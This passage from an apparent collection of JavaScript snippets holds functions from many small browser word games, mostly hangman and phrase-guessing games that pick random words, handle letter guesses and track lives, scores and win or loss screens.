0;\n\t\tchances = 8;\n\t\tanswerMask = [];\n\t\tfor(i=0; i < word.length; i++){\n\t\t\tanswerMask[i] = \"_\";\n\t\t};\n\t\tremainingLetters = word.length;\n\t\tsolveWord = document.getElementById(\"solveMe\");\n\t\tsolveWord.innerHTML = answerMask.join(\" \");\n\t\tvideo.currentTime = 0;\n\t\tupdateScreen();\n\t}", "function enter() {\n if (userInput.value.length > 0) {\n if (isValidGuess(userInput.value)) {\n let correctGuess = userInput.value.toLowerCase();\n let index = targetWords.indexOf(correctGuess);\n let boardWord = board.childNodes[index];\n boardWord.childNodes.forEach((tile) => {\n // show word on board\n tile.style.opacity = \"1.0\";\n tile.childNodes[0].classList.remove(\"invisible\");\n tile.classList.add(\"wordFound\");\n });\n }\n deleteInput(); // clear input\n }\n }", "function singleWord() {\n //Capture input value\n wordStr = elements.wordInput.value;\n if(regex.test(wordStr)) {\n consoleDisplay(\"single\")\n //keep status at 0\n gamestatus = 0;\n } else {\n //Set game status to 1\n gamestatus = 1;\n }\n}", "function inputChange (e) {\n var isCorrect = game.check(this.value),\n wordObj,\n i,\n l = game.wordsByIndex.length;\n if (isCorrect) {\n // TODO: run correct animation & move to the next stage\n game.level++;\n game.currentSceneIndex++;\n // sound\n game.soundInstance = createjs.Sound.play(\"Correct\"); // play using id. Could also use full sourcepath or event.src.\n //game.soundInstance.addEventListener(\"complete\", createjs.proxy(this.handleComplete, this));\n game.soundInstance.volume = 0.5;\n window.alert('Correct!');\n loadScene(game.currentSceneIndex)\n this.value='';\n } else if (this.value.length > game.minimumWordLength) {\n for (i = 0; i < l; i++) {\n wordObj = game.wordsByIndex[i];\n if (wordsAreEqual(wordObj.spl, this.value)) {\n game.level--;\n setPopupContent(i, 500, 100);\n // show mask\n jQuery('#mask').show();\n // show pop-up\n jQuery('#popup').show();\n this.value='';\n }\n }\n }\n}", "function beginGame(){\n noPressKey = false;\n document.getElementById(\"endScreen\").style.display = \"none\";\n guesses = \"\";\n turnsRemaining = 8;\n randWord = word[Math.floor(Math.random() * word.length)].toLowerCase();\n refreshDisplay();\n}", "function isInWord() {\n //gets the first position of the letter value in the word\n pos = word.indexOf(guess);\n //check to see if the letter is in the word\n if (word.indexOf(guess) > -1 ) { \n //if letter is in the word, enter the letter into the word array and html \n enterLetters(); \n\n //function wordSolved to see if the word is solved and if anyone won and to switch players\n wordSolved(); \n\n\n } else {\n //the letter is not in the word\n document.getElementById('audio').play();\n hangTheMan();\n };\n}", "function gameInit() {\n\n // Reset Used Letters.\n userLetterGuesses.textContent = \"\";\n\n // Create an array to hold the words the player must guess.\n var wordList = [\"tree\", \"grass\", \"soil\", \"weeds\", \"rain\", \"ocean\", \"life\", \"flowers\", \"forrest\"];\n // Randomize each word.\n var randomWord = wordList[Math.floor(Math.random() * wordList.length)];\n // Stores a single random word so we can populate the DOM.\n var singleGuess = [];\n // Hide the words with underscores.\n for (var i = 0; i < randomWord.length; i++) {\n singleGuess.push(\"_\");\n }\n // Populate the hidden random word to the DOM.\n randomWordDisplay.textContent = singleGuess.join(\" \");\n\n // Make the cheaters feel bad about themselves.\n var feelBadArray = [\n \"I caught you red handed, cheater! Just take it.\",\n \"Cheating, in my game? I'm not mad, just disappointed. Go on and take it.\",\n \"Cheating isn't a good look, you know. Pathetic. Just take the word and go.\",\n \"Do you really think this is just another generic hangman game with all the answers logged in the console? Oh wait. JUST TAKE IT!\",\n ];\n // Randomize the feel bad phrases.\n var randomPhrase = feelBadArray[Math.floor(Math.random() * feelBadArray.length)];\n\n // Create a little character in the console that makes the player feel bad for cheating!\n console.log(\"%cCHEATER ALERT!\", \"color: red; font-weight: bold; text-shadow: 2px 2px 10px; font-size: 200%;\");\n console.log(' ಠ_ಠ' + \" \" + randomPhrase + \"\\n\" +\n ' /█──' + \" \" + \"The word is: '\" + randomWord + \"'.\" + '\\n' +\n ' .Π.' + '\\n' +\n '');\n\n // Log the players keyboard events.\n document.onkeyup = function (event) {\n var playerKeyPress = event.key;\n // Track only the players keypresses (A through Z; A = 65 || Z = 90).\n if (event.keyCode >= 65 && event.keyCode <= 90) {\n // Change hangmans hang state based on 'playerKeyPress'.\n document.getElementById(\"baseImg\").src = \"./assets/images/hang-states/try-guess-\" + playerRemainingGuesses + \".jpg\";\n\n // Default Keypress Sound.\n defaultPress.volume = 0.04; // MP3 Volume.\n defaultPress.play();\n\n // If the player picks a correct letter, replace the underscore with the correct letter.\n var guess = playerKeyPress;\n for (var j = 0; j < randomWord.length; j++) {\n if (randomWord[j] === guess) {\n // Override the underscore with the correct letter.\n singleGuess[j] = guess;\n // Update the DOM to show the players progress.\n randomWordDisplay.textContent = singleGuess.join(\" \");\n }\n // Win Condition.\n if (randomWord === singleGuess.join(\"\")) {\n // Let the player know they won.\n alert(\"You are correct, the word is '\" + randomWord + \"'!\");\n // Increment a win point.\n playerWon.textContent = playerGamesWon++;\n\n // Reset game.\n playerRemainingGuesses = 8;\n // Reset Hangman.\n document.getElementById(\"baseImg\").src = \"./assets/images/hang-states/try-default.jpg\";\n // Re-Initialize Game.\n gameInit();\n // Break Statement Execution.\n break;\n }\n // Loss Condition.\n if (playerRemainingGuesses === 0) {\n // Let the player know they lost the game.\n alert(\"Better luck next time, the word is '\" + randomWord + \"'!\");\n // Disable Game.\n randomWordDisplay.style.display = \"none\";\n // Add a loss to the counter.\n playerLost.textContent = playerGamesLost++;\n // Show Dead Hangman.\n document.getElementById(\"baseImg\").src = \"./assets/images/hang-states/try-loss.jpg\";\n\n // Reset game.\n setTimeout(function () {\n // Re-Enable Game.\n randomWordDisplay.style.display = \"block\";\n // Reset Hangman.\n document.getElementById(\"baseImg\").src = \"./assets/images/hang-states/try-default.jpg\";\n }, 3000);\n\n // Reset Guesses\n playerRemainingGuesses = 8;\n\n // Re-Initialize Game.\n gameInit()\n // Break Statement Execution.\n break;\n }\n }\n\n // Populate remaining guesses.\n pGuessesRemaining.textContent = playerRemainingGuesses;\n // Remaining guess deductor.\n playerRemainingGuesses--;\n\n // Each time a letter is typed, put it into the guess box.\n userLetterGuesses.textContent += playerKeyPress + \" \";\n }\n }\n}", "handleInteraction(){\r\n //get letter and check if its on the active phrase \r\n \r\n const matchedLetter = this.activePhrase.checkLetter(event.target.textContent);\r\n \r\n if(matchedLetter){\r\n this.activePhrase.showMatchedLetter(event.target.textContent);\r\n event.target.classList.add('chosen');\r\n event.target.disabled = 'true';\r\n this.checkForWin();\r\n // show the letter if true else remove a life \r\n }\r\n else if(!matchedLetter){\r\n if(event.target.className === 'key'){\r\n event.target.disabled = 'true';\r\n event.target.classList.add('wrong');\r\n this.removeLife();\r\n \r\n }\r\n }\r\n\r\n }", "function startGame() {\n pairMovieWithSounds();\n randomSounds(movie);\n addPhraseToDisplay();\n keyboardSetup();\n}", "function winGame() {\n console.log(\"test \" + (currentWord));\n console.log(\"test \" + (placeHolder.join(\"\")));\n if ((currentWord) === (placeHolder.join(\"\"))) {\n console.log(\"you win!\");\n showLives.innerHTML = (\"You win!\");\n // PSUEDOCODE\n // display button\n // if click on button, reset game by picking a new word and returning the placeholder to its original state\n\n }\n else {\n // if I put anything here, you lose right away\n }\n\n }", "function startGame() {\n //show the words\n $(\".fiveWords\").show();\n //make button opaque\n document.getElementById(\"startGameButton\").style.opacity = .4;\n //disable start game\n startButton.disabled = true;\n //make button opaque\n document.getElementById(\"endGameButton\").style.opacity = 1;\n //enable the end button\n endButton.disabled = false;\n \n matchCheck = false;\n\n //display the text\n //$(\".fiveWords\").html(\"text\");\n insertWords();\n \n //change value of game over -- alec\n gameOver = false;\n \n //reset user word -- alec\n userWord = \"\";\n \n //game();\n \n //start the timer\n startTimer();\n \n}", "function startGame() {\n\t// Select a random word from the character array\n\tvar randomWord = character[Math.floor(Math.random()*character.length)];\n\n\t// Split the word into letters and push it to an empty array.\n\tvar hiddenWord = randomWord.split('');\n\n\t\t// This is what replaces the randomWord inside the empty array hiddenWord\n\t\tfor (var i=0; i<randomWord.length; i++) {\n\t\t\tif (randomWord[i]==='-') {\n\t\t\t\tdashes[i] = '- ';\n\t\t\t} else {\n\t\t\t\tdashes[i] = \"_ \";\n\t\t\t}\n\t\t}\n\t// updating the html to show the hidden word as dashes\n\t$('#hiddenWord').append(dashes);\n\n\t// Functions that listens everytime a key is pressed but doesn't register until the finger is lifted off\n\t$(document).keyup(function(event) {\n\n\t\tuserGuess = String.fromCharCode(event.keyCode).toUpperCase();\n\t\tcheckLetters(userGuess);\n\t});\n}", "startGame() {\n overlay.style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function checkWord() {\r\n let userWord = document.getElementById(\"user-word\").value;\r\n userWord = userWord.toLowerCase();\r\n if (userWord == \"\") {\r\n $(\"#result\").text(\"Please insert a word.\");\r\n }\r\n else if (userWord == gameWord) {\r\n score += seconds + 1;\r\n clearInterval(timer);\r\n setMessage();\r\n toggleGameElements();\r\n toggleNextStageBox();\r\n $(\"#current-score\").text(\"Score: \" + score);\r\n $(\"#user-word\").val(\"\");\r\n $(\"#result\").text(\"\");\r\n }\r\n else {\r\n $(\"#result\").text(\"Incorrect\");\r\n }\r\n }", "function startGame(category) {\n $(\".categoryscene\").hide()\n $(\".lives\").show()\n $(\".playscene\").show()\n\n // displays the remaining lives in the DOM\n function displayLives(numLives) {\n var lives = $(\"#livesHearts\")\n lives.empty()\n var lifeElement = \"<i class='material-icons'>favorite</i>\"\n for (var i = 0; i < numLives; i++) {\n lives.append($(lifeElement))\n }\n }\n var lastLetter = \"\"\n\n if (!category) {\n throw new Error(\"Category not given\")\n }\n var numLives = 5\n displayLives(numLives)\n var categoryWords = words[category]\n var wordToFind = categoryWords[Math.floor(Math.random() * categoryWords.length)]\n var splitWord = wordToFind.split(\"\")\n var silentSplitWord = silentWord(wordToFind).split(\"\")\n displayWord(silentSplitWord)\n\n\n listenKeyboardLetters(function (key) {\n if (key.search(/[aeiou]/ig) != -1) {\n showErrorMessage(\"You entered a vowel!\")\n return;\n }\n if (key == lastLetter) {\n showErrorMessage(\"You can't enter the same key again\")\n return;\n }\n lastLetter = key\n var found = false\n silentSplitWord.forEach(function (value, index) {\n // means not currently filled\n if (value == \"_\") {\n if (splitWord[index] == key) {\n silentSplitWord[index] = splitWord[index]\n found = true\n }\n }\n })\n displayWord(silentSplitWord)\n\n if (silentSplitWord.join(\"\").search(/_/) == -1) {\n gameWin()\n }\n else if (!found) {\n reduceLife()\n }\n })\n\n function reduceLife () {\n numLives -= 1\n displayLives(numLives)\n if (numLives == 0) {\n gameOver()\n }\n }\n\n // in case if the game is won\n function gameWin() {\n puzzleEnd(true)\n }\n\n // in case of losing the game\n function gameOver() {\n puzzleEnd(false)\n }\n\n function puzzleEnd(win) {\n $(\".categoryscene\").hide()\n $(\".playscene\").hide()\n unListenKeyboard()\n\n var finalMessage = $(\"#finalMessage\")\n\n var image;\n var images = {\n gameOverImages: [\n \"gameover1.gif\",\n \"gameover2.gif\"\n ],\n youWinImages: [\n \"youwin.gif\"\n ]\n }\n\n if (win) {\n image = images.youWinImages[Math.floor(Math.random() * images.youWinImages.length)]\n finalMessage.attr(\"class\", \"green-text hangStyle\")\n finalMessage.html(\"You Won! Now go to <a href='https://fossasia.org'>FOSSASIA.org</a>\")\n } else {\n finalMessage.attr(\"class\", \"red-text hangStyle\")\n finalMessage.html(\"Did you really go to school?\")\n image = images.gameOverImages[Math.floor(Math.random() * images.gameOverImages.length)]\n }\n\n $(\"#finalImage\").attr(\"src\", \"assets/\"+image)\n $(\".finalscene\").show()\n }\n\n function displayWord (wordArray) {\n $(\"#wordplay\").text(wordArray.join(\"\"))\n }\n\n }", "startGame() {\n overlay.style.display = \"none\";\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function startGame() {\n // Reset variables\n resetVars();\n // Get a random word\n chooseWord();\n // Show current guesses and remaining lives\n printGuesses();\n console.log(\"Lives left: \" + lives + '\\n');\n // Print the word\n currentWord.printWord();\n // Prompt user for input\n promptLetter();\n}", "function wordGame(){\n\n questions=['Famoso barrio electronico de Tokio','Provincia de catalunya','Se usa en la pesca','Mamifero marino con aspecto amigable','Arma comun usada en la epoca medieval',\n 'Pais del sudeste asiatico','Felino de cuatro patas','Lugar donde pasar la noche','Causa fiebre','Mamifero comun en Africa','Ataque suicida de los pilotos japoneses','Satelite de la tierra',\n 'Planeta cercano al sol del sitema solar','Que hace daño o es perjudicial.','Se usa pra hacer fuego','Mamifero nativo de Malasia e Indonesia','Monumento del antiguo Egypto','Se elabora a partir de leche quajada',\n 'Lectura de composiciones poeticas','Tambien conocida como Russia Asiatica','Herramienta electrica usada en tareas de bricolaje','Criatura mitologica con forma de caballo blanco',\n 'Contiene lava','Reproductor de audio portatil','Instrumento musical de percusion','Web dedicada a compartir videos','Ciencia que estudia los animales']\n \n anwsers=['akihabara','barcelona','cebo','delfin','espada','filipinas','gepardo','hotel','Infeccion','jirafa','kamikaze','luna','Mercurio','nocivo','leña','oranguntan','piramide','queso','recital',\n 'siberia','taladro','unicornio','Volcan','walkman','xilofono','youtube','zoologia']\n \n letters=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"Ñ\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n\n for(let i=0;i<letters.length;i++){//asi se restarura el color de cada letra asi como su fundo azul\n document.getElementById(letters[i]).style.background=\"#014B94\";\n document.getElementById(letters[i]).style.color=\"white\";\n }\n\n document.getElementById(\"showPregunta\").innerHTML=\"\";\n document.getElementById(\"Respuesta\").innerHTML=\"\";\n document.getElementById(\"nombreJugador\").innerHTML=\"\";\n document.getElementById(\"aciertos\").innerHTML=\"\";\n document.getElementById(\"fallos\").innerHTML=\"\";\n document.getElementById(\"showValue\").innerHTML=\"\";\n failed=0;\n correct=0;\n questionsNav=0;\n totalQuestions=27;//nos sirve para saber cuando no quedan preguntas y se ha acabado el juego;\n \n\n playerName = prompt('Cual es tu nombre ?')\n document.getElementById(\"nombreJugador\").innerHTML=playerName\n alert(\"Empezamos!\")\n questionShow();\n}", "function gameStart() {\n resetCounters();\n generateRandomWord();\n hideTheWord(); \n document.getElementById(\"guesses\").innerHTML = guessesLeft;\n // Make variable to track letters to be guessed\n var lettersLeft = randWord.length;\n console.log(randWord);\n\n setupKeyLogging();\n \n document.getElementById(\"wins\").innerHTML = wins;\n \n \n\n\n removeHandler(); \n}", "startGame() {\r\n // Add value attr to qwerty button elements\r\n const keyButtons = document.querySelectorAll(`button.key`);\r\n for (let i = 0; i < keyButtons.length; i++) {\r\n keyButtons[i].value = keyButtons[i].textContent;\r\n }\r\n // hide screen overlay\r\n const overlay = document.querySelector('#overlay');\r\n overlay.style.display = 'none';\r\n // call getRandomPhrase() to get phrase from array, store in activePhrase\r\n this.activePhrase = this.getRandomPhrase();\r\n // add the phrase to gameboard w/ addPhraseToDisplay()\r\n this.activePhrase.addPhraseToDisplay();\r\n\r\n }", "function onLoad() {\r\n\tstartNewGame();\r\n\taddEventToAlphabets();\r\n}", "function startGame(){\n runTyping(\"Immer einmal mehr wie du...\");\n inputTextElement.value ='sag was'; \n}", "function isKeyInWord() {\n var isinword = false;\n\n // Compare the KEYINPUT with the characters of the word\n for (var i = 0; i < word.length; i++) {\n if (keyinput == word[i]) {\n isinword = true;\n // Replace the guessed character in GUESS\n guess[i] = keyinput;\n }\n }\n\n // If KEYINPT is not a match increase a bad guess and remove a life\n if (!isinword) {\n $(\".audioDoh\").trigger('play');\n lives--;\n badguess++;\n if (lives < 1) {\n matchesLost++;\n gamedone = true;\n }\n }\n\n // Update the labels\n updateGame();\n }", "startGame(){\r\n startScreen.style.display = \"none\"\r\n this.activePhrase = this.getRandomPhrase(this.phrases).toLowerCase();\r\n chosenPhrase = new Phrase(this.activePhrase);\r\n chosenPhrase.addPhraseToDisplay()\r\n }", "function checkNameEntered(){\n startGame();\n \n if(isnameEntered){\n beginPlaying();\n }\n}", "function startGame() {\n renderNewWord();\n startBar();\n }", "startGame() {\r\n document.getElementById('overlay').style.display = 'none';\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }", "function actionPlay() {\n var word2Guess = arrWords[Math.floor(Math.random()*arrWords.length)];\n console.log(\"word:\", word2Guess);\n // Randomly selects a word and uses the `Word` constructor to store it\n var word = new Word(word2Guess);\n}", "function play() {\n categories = [// Countries\n ['singapure', 'malaysia', 'china', 'japan', 'south korea'], \n ['ruby on rails', 'javascript', 'c plus plus', 'python', 'golang', 'react', 'vue'], \n // Animals // Programming language and Frameworks\n ['cangaroo', 'bear', 'doggy', 'kitty', 'dragon']];\n\n choseCategory = categories[Math.floor(Math.random() * categories.length)];\n word = choseCategory[Math.floor(Math.random() * choseCategory.length)];\n word = word.replace(/\\s/g, '-');\n console.log(word);\n\n lives = 10;\n counter = 0;\n space = 0;\n guesses = [];\n\n createButtons();\n selectCat();\n result();\n comments();\n canvas();\n }", "function SetupGame() {\n\n var EasyWords = [\n \"float\", \"integer\", \"boolean\", \"enum\", \"long\", \"array\", \"dictionary\", \"list\", \"char\", \"string\", \"hash\",\n \"pointer\"\n\n ]\n\n var MediumWords = [\n \"afghanistan\", \"armenia\", \"palestine\", \"australia\", \"barbados\", \"brazil\", \"comoros\", \"croatia\", \"denmark\"\n , \"eritrea\", \"fiji\", \"france\", \"ghana\", \"germany\", \"iceland\", \"japan\"\n ]\n\n var HardWords = [\n \"cognac\", \"beignets\", \"stromboli\", \"jumbalaya\", \"enokitake\", \"acerola\", \"loquat\", \"mangosteen\", \"paneer\", \"samosas\", \"fajitas\", \"tostada\", \"eucharist\", \"crabcake\"\n ]\n\n\n if (difficulty == 0) {\n word = EasyWords[getRandomInt(EasyWords.length)];\n } else if (difficulty == 1) {\n word = MediumWords[getRandomInt(MediumWords.length)];\n } else {\n word = HardWords[getRandomInt(HardWords.length)];\n }\n\tword = word.toUpperCase();\n //console.debug(word);\n\n\n TitleScreen.style.display = \"none\";\n Game.style.display = \"inline-block\";\n\n for (var i = 0; i < word.length; i ++){\n showLines(word.charAt(i));\n }\n Lines = document.getElementsByClassName(\"Line\");\n\n for (var i = 65; i <= 90; i++) {\n showLetters(i);\n }\n}", "startGame() {\n document.getElementById('overlay').style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "startGame(){\n document.querySelector('#overlay').style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function newWord() {\n console.log(\"Selecting a new word\");\n\n // Reset hint request\n window.hintRequested = false;\n\n // Only clear the guesses info if it exists\n if (window.gameMode == \"filltheblanks\") {\n // Clear guesses arrays\n window.correctGuesses = [];\n window.incorrectGuesses = [];\n\n // Clear guess paragraphs\n window.correctParagraph.innerHTML = \"Correct: \";\n window.incorrectParagraph.innerHTML = \"Incorrect: \";\n }\n // Select a new word\n window.puzzleWord = selectWord(window.gameMode);\n\n // Update the word and category\n window.headerText.innerHTML = window.puzzleWord;\n window.categoryText.innerHTML = \"Category: \" + window.currentCategory;\n\n // Update the hint\n window.hintText.innerHTML = window.currentWordHint;\n\n // Hide the hind\n window.hintTextElement.style.display = \"none\";\n\n // Clear the answer field\n window.answerTextField.value = \"\";\n\n // Focus the answer field again\n window.answerTextField.focus();\n\n}", "startGame() {\n document.getElementById(\"overlay\").style.display = \"none\";\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "startGame() {\r\n $(\"#overlay\").hide();\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n }", "startGame() {\n document.getElementById('overlay').style.display = 'none';\n\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function startGame() {\n\n //Capture value from input and check user has entered a single word\n singleWord();\n \n //Check that there has been an input\n if(elements.wordInput.value !== \"\" && gamestatus === 1) {\n //Capture word and push to the gameWord array\n\n for(let i = 0; i < wordStr.length; i++) {\n gameWord.push(wordStr[i].toLowerCase());\n }\n\n //Clear input\n elements.wordInput.value = \"\";\n \n //Loop through game word and display a placeholder in the UI for each letter\n wordMapped = gameWord.map(item => {\n //Create element for each word and append to word container\n let html = `\n <img class=\"word-placeholder\" src=\"img/hangman_letter.png\">\n `\n\n elements.wordContainer.insertAdjacentHTML(\"beforeend\", html);\n\n return item;\n });\n\n //Hide word input and start button and display letter input, guess button and reset button\n elements.wordInput.style.display = \"none\"\n elements.startBtn.style.display = \"none\";\n elements.letterInput.style.display = \"block\";\n elements.guessBtn.style.display = \"block\";\n elements.resetBtn.style.display = \"block\";\n\n //If no input, alert user to enter something and clear after 4 seconds\n } else {\n consoleDisplay(\"single\");\n setTimeout(() => {\n elements.gameMessageContainer.innerHTML = \"\";\n }, 4000);\n }\n\n elements.letterInput.value = \"\";\n}", "function startNewGame(currentWord) {\n\t\tarrayDisplayedGuess = new Array(currentWord.length);\n\t\tarrayDisplayedGuess.fill(\"_\");\n\t\tarrayWrongGuessedLetters = [];\n\t\tnumGuesses = 0;\n\t\tincorrectGuesses = 0;\n\t\tattemptsRemaining = 12;\n\t\tcanPlay = true;\n\t \tupdateDisplayedGuesses();\n\t \tupdateAttemptsRemaining();\n\t \tupdateFailedGuesses();\n\t \thideElement(repeatedIncorrectGuessElement);\n\t \tclearGameStatusText();\n\t \tsetImage(currentItem.imageFileName);\n\t}", "startGame(){\n document.getElementById('overlay').style.display = 'none';\n this.activePhrase = this.getRandomPhrase();\n this.activePhrase.addPhraseToDisplay();\n }", "function startGame()\n{\n\t//selects random word\n\ttargetWord = wordBank[Math.floor(Math.random()* wordBank.length)];\n\ttargetWordArray = targetWord.split(\"\");\n\t//transforms word to an array of dashes\n\tfor(i=0; i<targetWord.length; i++)\n\t{\n\t\tdisplayWord.push(\" _ \");\n\t}\n\n\tdocument.getElementById(\"array-box\").innerHTML = displayWord.join(\"\");\n\tdocument.getElementById(\"instruction-box\").innerHTML = \"press any key to guess a letter\";\n\tdocument.getElementById(\"wins\").innerHTML = \"Wins: \" + wins;\n\tdocument.getElementById(\"losses\").innerHTML = \"Losses: \" + losses;\n\tdocument.getElementById(\"remaining-guesses\").innerHTML = \"Guesses Remaing: \" + remainingGuesses;\n\tdocument.getElementById(\"letters-guessed-box\").innerHTML = \"Letters Guessed: \" + wrongLetters;\n}", "function startGame() {\n $(document).ready();\n GenerateWord();\n createLetterHolders();\n}", "startGame() {\r\n document.getElementById('overlay').style.display = \"none\"\r\n this.activePhrase = this.getRandomPhrase();\r\n this.activePhrase.addPhraseToDisplay();\r\n splitPhraseArray = this.activePhrase.phrase.split('');\r\n }", "startGame() {\n inquirer\n .prompt({\n type: \"input\",\n message: \"What is your name?\",\n name: \"player\"\n })\n .then(answer => {\n console.log(\"Welcome to Hangman! You're up \" + answer.player);\n this.selectedWord = new Word(randomWords());\n this.refreshPage();\n this.playGame();\n });\n }", "function keyTypedEvent(event) {\n // Make sure the input is part of the alphabet\n var alphabet = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"];\n\n // Get the value of our answer box if it isn't empty\n if ( event.target.value != \"\" ) {\n var guess = event.target.value.toLowerCase();\n }\n\n if ( window.gameMode == \"anagram\" ) {\n // Check if the answer is correct\n if ( checkAnswer(guess) == true ) {\n // If it is, add score, generate a new word and increment wordsAnswered\n addScore();\n newWord();\n // If sound is enabled, play the correct sound\n if (window.sfxEnabled === true) {\n window.correctSound.play();\n // Restart the sound in case it is already playing\n window.correctSound.currentTime = 0;\n }\n }\n else {\n // If it isn't, lower their score\n subtractScore();\n if (window.sfxEnabled === true) {\n // If sound is enabled, play the incorrect sound\n window.incorrectSound.play();\n // Restart the sound in case it is already playing\n window.incorrectSound.currentTime = 0;\n }\n }\n }\n else if ( window.gameMode == \"filltheblanks\" ) {\n // Make sure we entered a valid character\n if ( alphabet.includes(guess) ) {\n if ( checkAnswer(guess) == true ) {\n // If it is, add it to the correct guesses (if not duplicate)\n if ( !correctGuesses.includes(guess) ) {\n correctGuesses.push(guess);\n // If sound is enabled, play the correct sound\n if (window.sfxEnabled === true) {\n window.correctSound.play();\n // Restart the sound in case it is already playing\n window.correctSound.currentTime = 0;\n }\n }\n // Clear the correct paragraph before updating it\n window.correctParagraph.innerHTML = \"Correct: \";\n for (correctAttempt in window.correctGuesses ) {\n window.correctParagraph.innerHTML += window.correctGuesses[correctAttempt] + \" \";\n }\n // Replace blanks with actual letters\n fillBlanks(guess);\n\n // Check if we've filled all the blank spaces\n if ( !blankedWord.includes(\"_\") ) {\n // If it is, add score, generate a new word and increment wordsAnswered\n addScore();\n newWord();\n // If sound is enabled, play the correct sound\n if (window.sfxEnabled === true) {\n window.correctSound.play();\n // Restart the sound in case it is already playing\n window.correctSound.currentTime = 0;\n }\n }\n }\n else {\n // If it isn't, add it to incorrect guesses (if not duplicate)\n if ( !incorrectGuesses.includes(guess) ) {\n incorrectGuesses.push(guess);\n // If sound is enabled, play the incorrect sound\n if (window.sfxEnabled === true) {\n window.incorrectSound.play();\n // Restart the sound in case it is already playing\n window.incorrectSound.currentTime = 0;\n }\n }\n // Clear the incorrect paragraph before updating it\n window.incorrectParagraph.innerHTML = \"Incorrect: \";\n for (incorrectAttempt in window.incorrectGuesses ) {\n window.incorrectParagraph.innerHTML += window.incorrectGuesses[incorrectAttempt] + \" \";\n }\n subtractScore();\n }\n }\n else {\n // If sound is enabled, play the incorrect sound\n if (window.sfxEnabled === true) {\n window.incorrectSound.play();\n // Restart the sound in case it is already playing\n window.incorrectSound.currentTime = 0;\n window.answerTextField.value = \"\";\n }\n }\n }\n\n}", "handleInteraction(key){\n key.disabled = true;\n if (this.activePhrase.checkLetter(key.textContent) === true) {\n key.classList = \"chosen\";\n this.activePhrase.showMatchedLetter(key.textContent);\n if (this.checkForWin() === true) {\n this.gameOver(false);\n }\n } else {\n key.classList = \"wrong\";\n this.removeLife();\n }\n }", "function loadGame(wordResource) {\n //Declare a word\n //The full array of words is in the array.js file\n console.log(wordResource);\n var word = wordResource[Math.floor(Math.random() * wordResource.length)];\n //Make sure it's working\n console.log(\"The word is: '\" + word + \"'\");\n\n $(document).off(\"keypress\");\n\n //From Paolo Bergantino https://stackoverflow.com/users/16417/paolo-bergantino\n $(document).keypress(function(e) {\n if(e.which == 13) {\n check(word);\n }\n });\n\n //Log the length of the word\n console.log(\"The length of the word is \" + word.length);\n\n //Delcare a variable for showing the blank spaces\n var nothing = \"_\";\n console.log(nothing);\n //This variable will look to the length of the word, and use it to build the blank spaces\n startingSpaces = nothing.repeat(word.length);\n //Check how startingSpaces will look\n console.log(\"The user will see this: \" + startingSpaces);\n //Make sure it's a string\n console.log(typeof(startingSpaces));\n //For the purposes of the check() function, we must turn startingSpaces into an array\n //We will do this by splitting the string at each character\n startingSpacesArray = startingSpaces.split(\"\");\n //Make sure it's working\n console.log(\"Starting spaces array:\");\n console.log(startingSpacesArray);\n\n //Define incorrect guesses counter to '0'\n incorrectGuess = 0;\n //Make sure it's working\n console.log(\"Incorrect guess counter: \" + incorrectGuess); \n\n\nconsole.log(word);\n\n document.getElementById(\"gameContent\").innerHTML = \n \"<div id='stats'></div>\" +\n \"<h1 class='center spacing rye white'>HANGMAN</h1>\" +\n \"<p class='center white'><b><i>\" +\n \"Guess the word, or else you'll see<br>\" +\n \"The outlaw swing from the sycamore tree<br>\" +\n \"You get <span style='text-decoration: underline; color: red;'>six guesses</span>, or roll the dice,<br>\" +\n \"And guess the whole word, but you can't guess twice.\" +\n \"</i></b></p>\"+\n \"<h2 class='center rye white'><i>The word is&hellip;</i></h2>\" +\n \"<h1 class='center spacing rye white' id='word'></h1>\" +\n \"<div id='hangmanPics'>\" + \"<svg id='hangman' width='470' height='200'>\" + svgArray[incorrectGuess] + \"</svg></div>\" +\n \"<div id='check'><h4 id='correctOrIncorrect' class='center rye white background-black'>\" + placeholder + \"</h4>\" +\n \"<h4 class='center rye white' id='wrongGuessCounter'></h4></div>\" + \n \"<div id='textEntry'>\" +\n \"<h4 class='center white rye'><span id='wrongGuesses'></span><span id='guessesSoFar'></span></h4>\" +\n \"Your Guess:<input type='text' name='userGuess' size='1' maxlength='1' id='userGuess' autofocus><br>\" +\n \"I know the word:<input type='text' name='userWordGuess' id='userWordGuess'><br>\" +\n \"<input type='button' onClick='check(\\\"\" + word + \"\\\")' id='submitButton' name='submit' value='submit'>\" +\n \"</div>\";\n document.getElementById(\"word\").innerHTML = startingSpaces;\n getStats(wins, losses);\n whipCrack.play();\n}", "function newGame() {\n wins = 0;\n losses = 0;\n remainingGuesses = 12;\n lettersGuessed =[\"\"];\n targetWord = \"\";\n wordGen()\n}", "function startInput(){\n if(matchWords()){\n //then game is continue\n isPlaying = true;\n time = currentLevel + 1;\n //show nwe word from array,clear input,increment score!\n showWord(words);\n wordInput.value = '';\n score++;\n }\n //if score is -1 display 0\n if(score === -1){\n scoreDisplay.innerHTML = `Wynik: 0`;\n }else{\n //initalize in DOM game score\n scoreDisplay.innerHTML = `Wynik: ${score}`;\n }\n \n}", "handleInteraction(){\r\n const button = document.querySelectorAll('#qwerty button');\r\n button.forEach(but => {\r\n but.addEventListener(\"click\", (e)=>{\r\n if(this.activePhrase.includes(e.target.textContent)){\r\n e.target.className = \"chosen\";\r\n but.disabled = true;\r\n 